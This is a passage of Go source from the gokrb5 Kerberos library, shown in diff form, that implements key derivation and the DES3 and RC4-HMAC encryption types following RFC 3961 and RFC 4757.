return key, et, fmt.Errorf("error getting encryption type: %v", err)
|
||||
}
|
||||
sk2p := et.GetDefaultStringToKeyParams()
|
||||
var salt string
|
||||
var paID int32
|
||||
for _, pa := range pas {
|
||||
switch pa.PADataType {
|
||||
case patype.PA_PW_SALT:
|
||||
if paID > pa.PADataType {
|
||||
continue
|
||||
}
|
||||
salt = string(pa.PADataValue)
|
||||
case patype.PA_ETYPE_INFO:
|
||||
if paID > pa.PADataType {
|
||||
continue
|
||||
}
|
||||
var eti types.ETypeInfo
|
||||
err := eti.Unmarshal(pa.PADataValue)
|
||||
if err != nil {
|
||||
return key, et, fmt.Errorf("error unmashaling PA Data to PA-ETYPE-INFO2: %v", err)
|
||||
}
|
||||
if etypeID != eti[0].EType {
|
||||
et, err = GetEtype(eti[0].EType)
|
||||
if err != nil {
|
||||
return key, et, fmt.Errorf("error getting encryption type: %v", err)
|
||||
}
|
||||
}
|
||||
salt = string(eti[0].Salt)
|
||||
case patype.PA_ETYPE_INFO2:
|
||||
if paID > pa.PADataType {
|
||||
continue
|
||||
}
|
||||
var et2 types.ETypeInfo2
|
||||
err := et2.Unmarshal(pa.PADataValue)
|
||||
if err != nil {
|
||||
return key, et, fmt.Errorf("error unmashalling PA Data to PA-ETYPE-INFO2: %v", err)
|
||||
}
|
||||
if etypeID != et2[0].EType {
|
||||
et, err = GetEtype(et2[0].EType)
|
||||
if err != nil {
|
||||
return key, et, fmt.Errorf("error getting encryption type: %v", err)
|
||||
}
|
||||
}
|
||||
if len(et2[0].S2KParams) == 4 {
|
||||
sk2p = hex.EncodeToString(et2[0].S2KParams)
|
||||
}
|
||||
salt = et2[0].Salt
|
||||
}
|
||||
}
|
||||
if salt == "" {
|
||||
salt = cname.GetSalt(realm)
|
||||
}
|
||||
k, err := et.StringToKey(passwd, salt, sk2p)
|
||||
if err != nil {
|
||||
return key, et, fmt.Errorf("error deriving key from string: %+v", err)
|
||||
}
|
||||
key = types.EncryptionKey{
|
||||
KeyType: etypeID,
|
||||
KeyValue: k,
|
||||
}
|
||||
return key, et, nil
|
||||
}
|
||||
|
||||
// GetEncryptedData encrypts the data provided and returns and EncryptedData type.
|
||||
// Pass a usage value of zero to use the key provided directly rather than deriving one.
|
||||
func GetEncryptedData(plainBytes []byte, key types.EncryptionKey, usage uint32, kvno int) (types.EncryptedData, error) {
|
||||
var ed types.EncryptedData
|
||||
et, err := GetEtype(key.KeyType)
|
||||
if err != nil {
|
||||
return ed, fmt.Errorf("error getting etype: %v", err)
|
||||
}
|
||||
_, b, err := et.EncryptMessage(key.KeyValue, plainBytes, usage)
|
||||
if err != nil {
|
||||
return ed, err
|
||||
}
|
||||
|
||||
ed = types.EncryptedData{
|
||||
EType: key.KeyType,
|
||||
Cipher: b,
|
||||
KVNO: kvno,
|
||||
}
|
||||
return ed, nil
|
||||
}
|
||||
|
||||
// DecryptEncPart decrypts the EncryptedData.
|
||||
func DecryptEncPart(ed types.EncryptedData, key types.EncryptionKey, usage uint32) ([]byte, error) {
|
||||
return DecryptMessage(ed.Cipher, key, usage)
|
||||
}
|
||||
|
||||
// DecryptMessage decrypts the ciphertext and verifies the integrity.
|
||||
func DecryptMessage(ciphertext []byte, key types.EncryptionKey, usage uint32) ([]byte, error) {
|
||||
et, err := GetEtype(key.KeyType)
|
||||
if err != nil {
|
||||
return []byte{}, fmt.Errorf("error decrypting: %v", err)
|
||||
}
|
||||
b, err := et.DecryptMessage(key.KeyValue, ciphertext, usage)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("error decrypting: %v", err)
|
||||
}
|
||||
return b, nil
|
||||
}
|
||||
+174
@@ -0,0 +1,174 @@
|
||||
package crypto
|
||||
|
||||
import (
|
||||
"crypto/des"
|
||||
"crypto/hmac"
|
||||
"crypto/sha1"
|
||||
"errors"
|
||||
"hash"
|
||||
|
||||
"gopkg.in/jcmturner/gokrb5.v7/crypto/common"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/crypto/rfc3961"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/iana/chksumtype"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/iana/etypeID"
|
||||
)
|
||||
|
||||
//RFC: 3961 Section 6.3
|
||||
|
||||
/*
|
||||
des3-cbc-hmac-sha1-kd, hmac-sha1-des3-kd
|
||||
------------------------------------------------
|
||||
protocol key format 24 bytes, parity in low
|
||||
bit of each
|
||||
|
||||
key-generation seed 21 bytes
|
||||
length
|
||||
|
||||
hash function SHA-1
|
||||
|
||||
HMAC output size 160 bits
|
||||
|
||||
message block size 8 bytes
|
||||
|
||||
default string-to-key empty string
|
||||
params
|
||||
|
||||
encryption and triple-DES encrypt and
|
||||
decryption functions decrypt, in outer-CBC
|
||||
mode (cipher block size
|
||||
8 octets)
|
||||
|
||||
key generation functions:
|
||||
|
||||
random-to-key DES3random-to-key (see
|
||||
below)
|
||||
|
||||
string-to-key DES3string-to-key (see
|
||||
below)
|
||||
|
||||
The des3-cbc-hmac-sha1-kd encryption type is assigned the value
|
||||
sixteen (16). The hmac-sha1-des3-kd checksum algorithm is assigned a
|
||||
checksum type number of twelve (12)*/
|
||||
|
||||
// Des3CbcSha1Kd implements Kerberos encryption type des3-cbc-hmac-sha1-kd
|
||||
type Des3CbcSha1Kd struct {
|
||||
}
|
||||
|
||||
// GetETypeID returns the EType ID number.
|
||||
func (e Des3CbcSha1Kd) GetETypeID() int32 {
|
||||
return etypeID.DES3_CBC_SHA1_KD
|
||||
}
|
||||
|
||||
// GetHashID returns the checksum type ID number.
|
||||
func (e Des3CbcSha1Kd) GetHashID() int32 {
|
||||
return chksumtype.HMAC_SHA1_DES3_KD
|
||||
}
|
||||
|
||||
// GetKeyByteSize returns the number of bytes for key of this etype.
|
||||
func (e Des3CbcSha1Kd) GetKeyByteSize() int {
|
||||
return 24
|
||||
}
|
||||
|
||||
// GetKeySeedBitLength returns the number of bits for the seed for key generation.
|
||||
func (e Des3CbcSha1Kd) GetKeySeedBitLength() int {
|
||||
return 21 * 8
|
||||
}
|
||||
|
||||
// GetHashFunc returns the hash function for this etype.
|
||||
func (e Des3CbcSha1Kd) GetHashFunc() func() hash.Hash {
|
||||
return sha1.New
|
||||
}
|
||||
|
||||
// GetMessageBlockByteSize returns the block size for the etype's messages.
|
||||
func (e Des3CbcSha1Kd) GetMessageBlockByteSize() int {
|
||||
//For traditional CBC mode with padding, it would be the underlying cipher's block size
|
||||
return des.BlockSize
|
||||
}
|
||||
|
||||
// GetDefaultStringToKeyParams returns the default key derivation parameters in string form.
|
||||
func (e Des3CbcSha1Kd) GetDefaultStringToKeyParams() string {
|
||||
var s string
|
||||
return s
|
||||
}
|
||||
|
||||
// GetConfounderByteSize returns the byte count for confounder to be used during cryptographic operations.
|
||||
func (e Des3CbcSha1Kd) GetConfounderByteSize() int {
|
||||
return des.BlockSize
|
||||
}
|
||||
|
||||
// GetHMACBitLength returns the bit count size of the integrity hash.
|
||||
func (e Des3CbcSha1Kd) GetHMACBitLength() int {
|
||||
return e.GetHashFunc()().Size() * 8
|
||||
}
|
||||
|
||||
// GetCypherBlockBitLength returns the bit count size of the cypher block.
|
||||
func (e Des3CbcSha1Kd) GetCypherBlockBitLength() int {
|
||||
return des.BlockSize * 8
|
||||
}
|
||||
|
||||
// StringToKey returns a key derived from the string provided.
|
||||
func (e Des3CbcSha1Kd) StringToKey(secret string, salt string, s2kparams string) ([]byte, error) {
|
||||
if s2kparams != "" {
|
||||
return []byte{}, errors.New("s2kparams must be an empty string")
|
||||
}
|
||||
return rfc3961.DES3StringToKey(secret, salt, e)
|
||||
}
|
||||
|
||||
// RandomToKey returns a key from the bytes provided.
|
||||
func (e Des3CbcSha1Kd) RandomToKey(b []byte) []byte {
|
||||
return rfc3961.DES3RandomToKey(b)
|
||||
}
|
||||
|
||||
// DeriveRandom generates data needed for key generation.
|
||||
func (e Des3CbcSha1Kd) DeriveRandom(protocolKey, usage []byte) ([]byte, error) {
|
||||
r, err := rfc3961.DeriveRandom(protocolKey, usage, e)
|
||||
return r, err
|
||||
}
|
||||
|
||||
// DeriveKey derives a key from the protocol key based on the usage value.
|
||||
func (e Des3CbcSha1Kd) DeriveKey(protocolKey, usage []byte) ([]byte, error) {
|
||||
r, err := e.DeriveRandom(protocolKey, usage)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return e.RandomToKey(r), nil
|
||||
}
|
||||
|
||||
// EncryptData encrypts the data provided.
|
||||
func (e Des3CbcSha1Kd) EncryptData(key, data []byte) ([]byte, []byte, error) {
|
||||
return rfc3961.DES3EncryptData(key, data, e)
|
||||
}
|
||||
|
||||
// EncryptMessage encrypts the message provided and concatenates it with the integrity hash to create an encrypted message.
|
||||
func (e Des3CbcSha1Kd) EncryptMessage(key, message []byte, usage uint32) ([]byte, []byte, error) {
|
||||
return rfc3961.DES3EncryptMessage(key, message, usage, e)
|
||||
}
|
||||
|
||||
// DecryptData decrypts the data provided.
|
||||
func (e Des3CbcSha1Kd) DecryptData(key, data []byte) ([]byte, error) {
|
||||
return rfc3961.DES3DecryptData(key, data, e)
|
||||
}
|
||||
|
||||
// DecryptMessage decrypts the message provided and verifies the integrity of the message.
|
||||
func (e Des3CbcSha1Kd) DecryptMessage(key, ciphertext []byte, usage uint32) ([]byte, error) {
|
||||
return rfc3961.DES3DecryptMessage(key, ciphertext, usage, e)
|
||||
}
|
||||
|
||||
// VerifyIntegrity checks the integrity of the plaintext message.
|
||||
func (e Des3CbcSha1Kd) VerifyIntegrity(protocolKey, ct, pt []byte, usage uint32) bool {
|
||||
return rfc3961.VerifyIntegrity(protocolKey, ct, pt, usage, e)
|
||||
}
|
||||
|
||||
// GetChecksumHash returns a keyed checksum hash of the bytes provided.
|
||||
func (e Des3CbcSha1Kd) GetChecksumHash(protocolKey, data []byte, usage uint32) ([]byte, error) {
|
||||
return common.GetHash(data, protocolKey, common.GetUsageKc(usage), e)
|
||||
}
|
||||
|
||||
// VerifyChecksum compares the checksum of the message bytes is the same as the checksum provided.
|
||||
func (e Des3CbcSha1Kd) VerifyChecksum(protocolKey, data, chksum []byte, usage uint32) bool {
|
||||
c, err := e.GetChecksumHash(protocolKey, data, usage)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return hmac.Equal(chksum, c)
|
||||
}
|
||||
+29
@@ -0,0 +1,29 @@
|
||||
// Package etype provides the Kerberos Encryption Type interface
|
||||
package etype
|
||||
|
||||
import "hash"
|
||||
|
||||
// EType is the interface defining the Encryption Type.
|
||||
type EType interface {
|
||||
GetETypeID() int32
|
||||
GetHashID() int32
|
||||
GetKeyByteSize() int
|
||||
GetKeySeedBitLength() int // key-generation seed length, k
|
||||
GetDefaultStringToKeyParams() string // default string-to-key parameters (s2kparams)
|
||||
StringToKey(string, salt, s2kparams string) ([]byte, error) // string-to-key (UTF-8 string, UTF-8 string, opaque)->(protocol-key)
|
||||
RandomToKey(b []byte) []byte // random-to-key (bitstring[K])->(protocol-key)
|
||||
GetHMACBitLength() int // HMAC output size, h
|
||||
GetMessageBlockByteSize() int // message block size, m
|
||||
EncryptData(key, data []byte) ([]byte, []byte, error) // E function - encrypt (specific-key, state, octet string)->(state, octet string)
|
||||
EncryptMessage(key, message []byte, usage uint32) ([]byte, []byte, error)
|
||||
DecryptData(key, data []byte) ([]byte, error) // D function
|
||||
DecryptMessage(key, ciphertext []byte, usage uint32) ([]byte, error)
|
||||
GetCypherBlockBitLength() int // cipher block size, c
|
||||
GetConfounderByteSize() int // This is the same as the cipher block size but in bytes.
|
||||
DeriveKey(protocolKey, usage []byte) ([]byte, error) // DK key-derivation (protocol-key, integer)->(specific-key)
|
||||
DeriveRandom(protocolKey, usage []byte) ([]byte, error) // DR pseudo-random (protocol-key, octet-string)->(octet-string)
|
||||
VerifyIntegrity(protocolKey, ct, pt []byte, usage uint32) bool
|
||||
GetChecksumHash(protocolKey, data []byte, usage uint32) ([]byte, error)
|
||||
VerifyChecksum(protocolKey, data, chksum []byte, usage uint32) bool
|
||||
GetHashFunc() func() hash.Hash
|
||||
}
|
||||
+135
@@ -0,0 +1,135 @@
|
||||
package crypto
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/hmac"
|
||||
"crypto/md5"
|
||||
"hash"
|
||||
"io"
|
||||
|
||||
"golang.org/x/crypto/md4"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/crypto/rfc3961"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/crypto/rfc4757"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/iana/chksumtype"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/iana/etypeID"
|
||||
)
|
||||
|
||||
//http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/8u40-b25/sun/security/krb5/internal/crypto/dk/ArcFourCrypto.java#ArcFourCrypto.encrypt%28byte%5B%5D%2Cint%2Cbyte%5B%5D%2Cbyte%5B%5D%2Cbyte%5B%5D%2Cint%2Cint%29
|
||||
|
||||
// RC4HMAC implements Kerberos encryption type aes256-cts-hmac-sha1-96
|
||||
type RC4HMAC struct {
|
||||
}
|
||||
|
||||
// GetETypeID returns the EType ID number.
|
||||
func (e RC4HMAC) GetETypeID() int32 {
|
||||
return etypeID.RC4_HMAC
|
||||
}
|
||||
|
||||
// GetHashID returns the checksum type ID number.
|
||||
func (e RC4HMAC) GetHashID() int32 {
|
||||
return chksumtype.KERB_CHECKSUM_HMAC_MD5
|
||||
}
|
||||
|
||||
// GetKeyByteSize returns the number of bytes for key of this etype.
|
||||
func (e RC4HMAC) GetKeyByteSize() int {
|
||||
return 16
|
||||
}
|
||||
|
||||
// GetKeySeedBitLength returns the number of bits for the seed for key generation.
|
||||
func (e RC4HMAC) GetKeySeedBitLength() int {
|
||||
return e.GetKeyByteSize() * 8
|
||||
}
|
||||
|
||||
// GetHashFunc returns the hash function for this etype.
|
||||
func (e RC4HMAC) GetHashFunc() func() hash.Hash {
|
||||
return md5.New
|
||||
}
|
||||
|
||||
// GetMessageBlockByteSize returns the block size for the etype's messages.
|
||||
func (e RC4HMAC) GetMessageBlockByteSize() int {
|
||||
return 1
|
||||
}
|
||||
|
||||
// GetDefaultStringToKeyParams returns the default key derivation parameters in string form.
|
||||
func (e RC4HMAC) GetDefaultStringToKeyParams() string {
|
||||
return ""
|
||||
}
|
||||
|
||||
// GetConfounderByteSize returns the byte count for confounder to be used during cryptographic operations.
|
||||
func (e RC4HMAC) GetConfounderByteSize() int {
|
||||
return 8
|
||||
}
|
||||
|
||||
// GetHMACBitLength returns the bit count size of the integrity hash.
|
||||
func (e RC4HMAC) GetHMACBitLength() int {
|
||||
return md5.Size * 8
|
||||
}
|
||||
|
||||
// GetCypherBlockBitLength returns the bit count size of the cypher block.
|
||||
func (e RC4HMAC) GetCypherBlockBitLength() int {
|
||||
return 8 // doesn't really apply
|
||||
}
|
||||
|
||||
// StringToKey returns a key derived from the string provided.
|
||||
func (e RC4HMAC) StringToKey(secret string, salt string, s2kparams string) ([]byte, error) {
|
||||
return rfc4757.StringToKey(secret)
|
||||
}
|
||||
|
||||
// RandomToKey returns a key from the bytes provided.
|
||||
func (e RC4HMAC) RandomToKey(b []byte) []byte {
|
||||
r := bytes.NewReader(b)
|
||||
h := md4.New()
|
||||
io.Copy(h, r)
|
||||
return h.Sum(nil)
|
||||
}
|
||||
|
||||
// EncryptData encrypts the data provided.
|
||||
func (e RC4HMAC) EncryptData(key, data []byte) ([]byte, []byte, error) {
|
||||
b, err := rfc4757.EncryptData(key, data, e)
|
||||
return []byte{}, b, err
|
||||
}
|
||||
|
||||
// EncryptMessage encrypts the message provided and concatenates it with the integrity hash to create an encrypted message.
|
||||
func (e RC4HMAC) EncryptMessage(key, message []byte, usage uint32) ([]byte, []byte, error) {
|
||||
b, err := rfc4757.EncryptMessage(key, message, usage, false, e)
|
||||
return []byte{}, b, err
|
||||
}
|
||||
|
||||
// DecryptData decrypts the data provided.
|
||||
func (e RC4HMAC) DecryptData(key, data []byte) ([]byte, error) {
|
||||
return rfc4757.DecryptData(key, data, e)
|
||||
}
|
||||
|
||||
// DecryptMessage decrypts the message provided and verifies the integrity of the message.
|
||||
func (e RC4HMAC) DecryptMessage(key, ciphertext []byte, usage uint32) ([]byte, error) {
|
||||
return rfc4757.DecryptMessage(key, ciphertext, usage, false, e)
|
||||
}
|
||||
|
||||
// DeriveKey derives a key from the protocol key based on the usage value.
|
||||
func (e RC4HMAC) DeriveKey(protocolKey, usage []byte) ([]byte, error) {
|
||||
return rfc4757.HMAC(protocolKey, usage), nil
|
||||
}
|
||||
|
||||
// DeriveRandom generates data needed for key generation.
|
||||
func (e RC4HMAC) DeriveRandom(protocolKey, usage []byte) ([]byte, error) {
|
||||
return rfc3961.DeriveRandom(protocolKey, usage, e)
|
||||
}
|
||||
|
||||
// VerifyIntegrity checks the integrity of the plaintext message.
|
||||
func (e RC4HMAC) VerifyIntegrity(protocolKey, ct, pt []byte, usage uint32) bool {
|
||||
return rfc4757.VerifyIntegrity(protocolKey, pt, ct, e)
|
||||
}
|
||||
|
||||
// GetChecksumHash returns a keyed checksum hash of the bytes provided.
|
||||
func (e RC4HMAC) GetChecksumHash(protocolKey, data []byte, usage uint32) ([]byte, error) {
|
||||
return rfc4757.Checksum(protocolKey, usage, data)
|
||||
}
|
||||
|
||||
// VerifyChecksum compares the checksum of the message bytes is the same as the checksum provided.
|
||||
func (e RC4HMAC) VerifyChecksum(protocolKey, data, chksum []byte, usage uint32) bool {
|
||||
checksum, err := rfc4757.Checksum(protocolKey, usage, data)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return hmac.Equal(checksum, chksum)
|
||||
}
|
||||
+125
@@ -0,0 +1,125 @@
|
||||
// Package rfc3961 provides encryption and checksum methods as specified in RFC 3961
|
||||
package rfc3961
|
||||
|
||||
import (
|
||||
"crypto/cipher"
|
||||
"crypto/des"
|
||||
"crypto/hmac"
|
||||
"crypto/rand"
|
||||
"errors"
|
||||
"fmt"
|
||||
|
||||
"gopkg.in/jcmturner/gokrb5.v7/crypto/common"
|
||||
"gopkg.in/jcmturner/gokrb5.v7/crypto/etype"
|
||||
)
|
||||
|
||||
// DES3EncryptData encrypts the data provided using DES3 and methods specific to the etype provided.
|
||||
func DES3EncryptData(key, data []byte, e etype.EType) ([]byte, []byte, error) {
|
||||
if len(key) != e.GetKeyByteSize() {
|
||||
return nil, nil, fmt.Errorf("incorrect keysize: expected: %v actual: %v", e.GetKeyByteSize(), len(key))
|
||||
}
|
||||
data, _ = common.ZeroPad(data, e.GetMessageBlockByteSize())
|
||||
|
||||
block, err := des.NewTripleDESCipher(key)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("error creating cipher: %v", err)
|
||||
}
|
||||
|
||||
//RFC 3961: initial cipher state All bits zero
|
||||
ivz := make([]byte, des.BlockSize)
|
||||
|
||||
ct := make([]byte, len(data))
|
||||
mode := cipher.NewCBCEncrypter(block, ivz)
|
||||
mode.CryptBlocks(ct, data)
|
||||
return ct[len(ct)-e.GetMessageBlockByteSize():], ct, nil
|
||||
}
|
||||
|
||||
// DES3EncryptMessage encrypts the message provided using DES3 and methods specific to the etype provided.
|
||||
// The encrypted data is concatenated with its integrity hash to create an encrypted message.
|
||||
func DES3EncryptMessage(key, message []byte, usage uint32, e etype.EType) ([]byte, []byte, error) {
|
||||
//confounder
|
||||
c := make([]byte, e.GetConfounderByteSize())
|
||||
_, err := rand.Read(c)
|
||||
if err != nil {
|
||||
return []byte{}, []byte{}, fmt.Errorf("could not generate random confounder: %v", err)
|
||||
}
|
||||
plainBytes := append(c, message...)
|
||||
plainBytes, _ = common.ZeroPad(plainBytes, e.GetMessageBlockByteSize())
|
||||
|
||||
// Derive key for encryption from usage
|
||||
var k []byte
|
||||
if usage != 0 {
|
||||
k, err = e.DeriveKey(key, common.GetUsageKe(usage))
|
||||
if err != nil {
|
||||
return []byte{}, []byte{}, fmt.Errorf("error deriving key for encryption: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
iv, b, err := e.EncryptData(k, plainBytes)
|
||||
if err != nil {
|
||||
return iv, b, fmt.Errorf("error encrypting data: %v", err)
|
||||
}
|
||||
|
||||
// Generate and append integrity hash
|
||||
ih, err := common.GetIntegrityHash(plainBytes, key, usage, e)
|
||||
if err != nil {
|
||||
return iv, b, fmt.Errorf("error encrypting data: %v", err)
|
||||
}
|
||||
b = append(b, ih...)
|
||||
return iv, b, nil
|
||||
}
|
||||
|
||||
// DES3DecryptData decrypts the data provided using DES3 and methods specific to the etype provided.
|
||||
func DES3DecryptData(key, data []byte, e etype.EType) ([]byte, error) {
|
||||
if len(key) != e.GetKeyByteSize() {
|
||||
return []byte{}, fmt.Errorf("incorrect keysize: expected: %v actual: %v", e.GetKeyByteSize(), len(key))
|
||||
}
|
||||
|
||||
if len(data) < des.BlockSize || len(data)%des.BlockSize != 0 {
|
||||
return []byte{}, errors.New("ciphertext is not a multiple of the block size")
|
||||
}
|
||||
block, err := des.NewTripleDESCipher(key)
|
||||
if err != nil {
|
||||
return []byte{}, fmt.Errorf("error creating cipher: %v", err)
|
||||
}
|
||||
pt := make([]byte, len(data))
|
||||
ivz := make([]byte, des.BlockSize)
|
||||
mode := cipher.NewCBCDecrypter(block, ivz)
|
||||
mode.CryptBlocks(pt, data)
|
||||
return pt, nil
|
||||
}
|
||||
|
||||
// DES3DecryptMessage decrypts the message provided using DES3 and methods specific to the etype provided.
|
||||
// The integrity of the message is also verified.
|
||||
func DES3DecryptMessage(key, ciphertext []byte, usage uint32, e etype.EType) ([]byte, error) {
|
||||
//Derive the key
|
||||
k, err := e.DeriveKey(key, common.GetUsageKe(usage))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("error deriving key: %v", err)
|
||||
}
|
||||
// Strip off the checksum from the end
|
||||
b, err := e.DecryptData(k, ciphertext[:len(ciphertext)-e.GetHMACBitLength()/8])
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("error decrypting: %v", err)
|
||||
}
|
||||
//Verify checksum
|
||||
if !e.VerifyIntegrity(key, ciphertext, b, usage) {
|
||||
return nil, errors.New("error decrypting: integrity verification failed")
|
||||
}
|
||||
//Remove the confounder bytes
|
||||
return b[e.GetConfounderByteSize():], nil
|
||||
}
|
||||
|
||||
// VerifyIntegrity verifies the integrity of cipertext bytes ct.
|
||||
func VerifyIntegrity(key, ct, pt []byte, usage uint32, etype etype.EType) bool {
|
||||
//The ciphertext output is the concatenation of the output of the basic
|
||||
//encryption function E and a (possibly truncated) HMAC using the
|
||||
//specified hash function H, both applied to the plaintext with a
|
||||
//random confounder prefix and sufficient padding to bring it to a
|
||||
//multiple of the message block size. When the HMAC is computed, the
|
||||
//key is used in the protocol key form.
|
||||
h := make([]byte, etype.GetHMACBitLength()/8)
|
||||
copy(h, ct[len(ct)-etype.GetHMACBitLength()/8:])
|
||||
expectedMAC, _ := common.GetIntegrityHash(pt, key, usage, etype)
|
||||
return hmac.Equal(h, expectedMAC)
|
||||
}
|
||||
+178
@@ -0,0 +1,178 @@
|
||||
package rfc3961
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
|
||||
"gopkg.in/jcmturner/gokrb5.v7/crypto/etype"
|
||||
)
|
||||
|
||||
const (
|
||||
prfconstant = "prf"
|
||||
)
|
||||
|
||||
// DeriveRandom implements the RFC 3961 defined function: DR(Key, Constant) = k-truncate(E(Key, Constant, initial-cipher-state)).
|
||||
//
|
||||
// key: base key or protocol key. Likely to be a key from a keytab file.
|
||||
//
|
||||
// usage: a constant.
|
||||
//
|
||||
// n: block size in bits (not bytes) - note if you use something like aes.BlockSize this is in bytes.
|
||||
//
|
||||
// k: key length / key seed length in bits. Eg. for AES256 this value is 256.
|
||||
//
|
||||
// e: the encryption etype function to use.
|
||||
func DeriveRandom(key, usage []byte, e etype.EType) ([]byte, error) {
|
||||
n := e.GetCypherBlockBitLength()
|
||||
k := e.GetKeySeedBitLength()
|
||||
//Ensure the usage constant is at least the size of the cypher block size. Pass it through the nfold algorithm that will "stretch" it if needs be.
|
||||
nFoldUsage := Nfold(usage, n)
|
||||
//k-truncate implemented by creating a byte array the size of k (k is in bits hence /8)
|
||||
out := make([]byte, k/8)
|
||||
|
||||
/*If the output of E is shorter than k bits, it is fed back into the encryption as many times as necessary.
|
||||
The construct is as follows (where | indicates concatenation):
|
||||
|
||||
K1 = E(Key, n-fold(Constant), initial-cipher-state)
|
||||
K2 = E(Key, K1, initial-cipher-state)
|
||||
K3 = E(Key, K2, initial-cipher-state)
|
||||
K4 = ...
|
||||
|
||||
DR(Key, Constant) = k-truncate(K1 | K2 | K3 | K4 ...)*/
|
||||
_, K, err := e.EncryptData(key, nFoldUsage)
|
||||
if err != nil {
|
||||
return out, err
|
||||
}
|
||||
for i := copy(out, K); i < len(out); {
|
||||
_, K, _ = e.EncryptData(key, K)
|
||||
i = i + copy(out[i:], K)
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
// DeriveKey derives a key from the protocol key based on the usage and the etype's specific methods.
|
||||
func DeriveKey(protocolKey, usage []byte, e etype.EType) ([]byte, error) {
|
||||
r, err := e.DeriveRandom(protocolKey, usage)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return e.RandomToKey(r), nil
|
||||
}
|
||||
|
||||
// RandomToKey returns a key from the bytes provided according to the definition in RFC 3961.
|
||||
func RandomToKey(b []byte) []byte {
|
||||
return b
|
||||
}
|
||||
|
||||
// DES3RandomToKey returns a key from the bytes provided according to the definition in RFC 3961 for DES3 etypes.
|
||||
func DES3RandomToKey(b []byte) []byte {
|
||||
r := fixWeakKey(stretch56Bits(b[:7]))
|
||||
r2 := fixWeakKey(stretch56Bits(b[7:14]))
|
||||
r = append(r, r2...)
|
||||
r3 := fixWeakKey(stretch56Bits(b[14:21]))
|
||||
r = append(r, r3...)
|
||||
return r
|
||||
}
|
||||
|
||||
// DES3StringToKey returns a key derived from the string provided according to the definition in RFC 3961 for DES3 etypes.
|
||||
func DES3StringToKey(secret, salt string, e etype.EType) ([]byte, error) {
|
||||
s := secret + salt
|
||||
tkey := e.RandomToKey(Nfold([]byte(s), e.GetKeySeedBitLength()))
|
||||
return e.DeriveKey(tkey, []byte("kerberos"))
|
||||
}
|
||||
|
||||
// PseudoRandom function as defined in RFC 3961
|
||||
func PseudoRandom(key, b []byte, e etype.EType) ([]byte, error) {
|
||||
h := e.GetHashFunc()()
|
||||
h.Write(b)
|
||||
tmp := h.Sum(nil)[:e.GetMessageBlockByteSize()]
|
||||
k, err := e.DeriveKey(key, []byte(prfconstant))
|
||||
if err != nil {
|
||||
return []byte{}, err
|
||||
}
|
||||
_, prf, err := e.EncryptData(k, tmp)
|
||||
if err != nil {
|
||||
return []byte{}, err
|
||||
}
|
||||
return prf, nil
|
||||
}
|
||||
|
||||
func stretch56Bits(b []byte) []byte {
|
||||
d := make([]byte, len(b), len(b))
|
||||
copy(d, b)
|
||||
var lb byte
|
||||
for i, v := range d {
|
||||
bv, nb := calcEvenParity(v)
|
||||
d[i] = nb
|
||||
if bv != 0 {
|
||||
lb = lb | (1 << uint(i+1))
|
||||
} else {
|
||||
lb = lb &^ (1 << uint(i+1))
|
||||
}
|
||||
}
|
||||
_, lb = calcEvenParity(lb)
|
||||
d = append(d, lb)
|
||||
return d
|
||||
}
|
||||
|
||||
func calcEvenParity(b byte) (uint8, uint8) {
|
||||
lowestbit := b & 0x01
|
||||
// c counter of 1s in the first 7 bits of the byte
|
||||
var c int
|
||||
// Iterate over the highest 7 bits (hence p starts at 1 not zero) and count the 1s.
|
||||
for p := 1; p < 8; p++ {
|
||||
v := b & (1 << uint(p))
|
||||
if v != 0 {
|
||||
c++
|
||||
}
|
||||
}
|
||||
if c%2 == 0 {
|
||||
//Even number of 1s so set parity to 1
|
||||
b = b | 1
|
||||
} else {
|
||||
//Odd number of 1s so set parity to 0
|
||||
b = b &^ 1
|
||||
}
|
||||
return lowestbit, b
|
||||
}
|
||||
|
||||
func fixWeakKey(b []byte) []byte {
|
||||
if weak(b) {
|
||||
b[7] ^= 0xF0
|
||||
}
|
||||
return b
|
||||
}
|
||||
|
||||
func weak(b []byte) bool {
|
||||
// weak keys from https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-67r1.pdf
|
||||
weakKeys := [4][]byte{
|
||||
{0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01},
|
||||
{0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE, 0xFE},
|
||||
{0xE0, 0xE0, 0xE0, 0xE0, 0xF1, 0xF1, 0xF1, 0xF1},
|
||||
{0x1F, 0x1F, 0x1F, 0x1F, 0x0E, 0x0E, 0x0E, 0x0E},
|
||||
}
|
||||
semiWeakKeys := [12][]byte{
|
||||
{0x01, 0x1F, 0x01, 0x1F, 0x01, 0x0E, 0x01, 0x0E},
|
||||
{0x1F, 0x01, 0x1F, 0x01, 0x0E, 0x01, 0x0E, 0x01},
|
||||
{0x01, 0xE0, 0x01, 0xE0, 0x01, 0xF1, 0x01, 0xF1},
|
||||
{0xE0, 0x01, 0xE0, 0x01, 0xF1, 0x01, 0xF1, 0x01},
|
||||
{0x01, 0xFE, 0x01, 0xFE, 0x01, 0xFE, 0x01, 0xFE},
|
||||
{0xFE, 0x01, 0xFE, 0x01, 0xFE, 0x01, 0xFE, 0x01},
|
||||
{0x1F, 0xE0, 0x1F, 0xE0, 0x0E, 0xF1, 0x0E, 0xF1},
|
||||
{0xE0, 0x1F, 0xE0, 0x1F, 0xF1, 0x0E, 0xF1, 0x0E},
|
||||
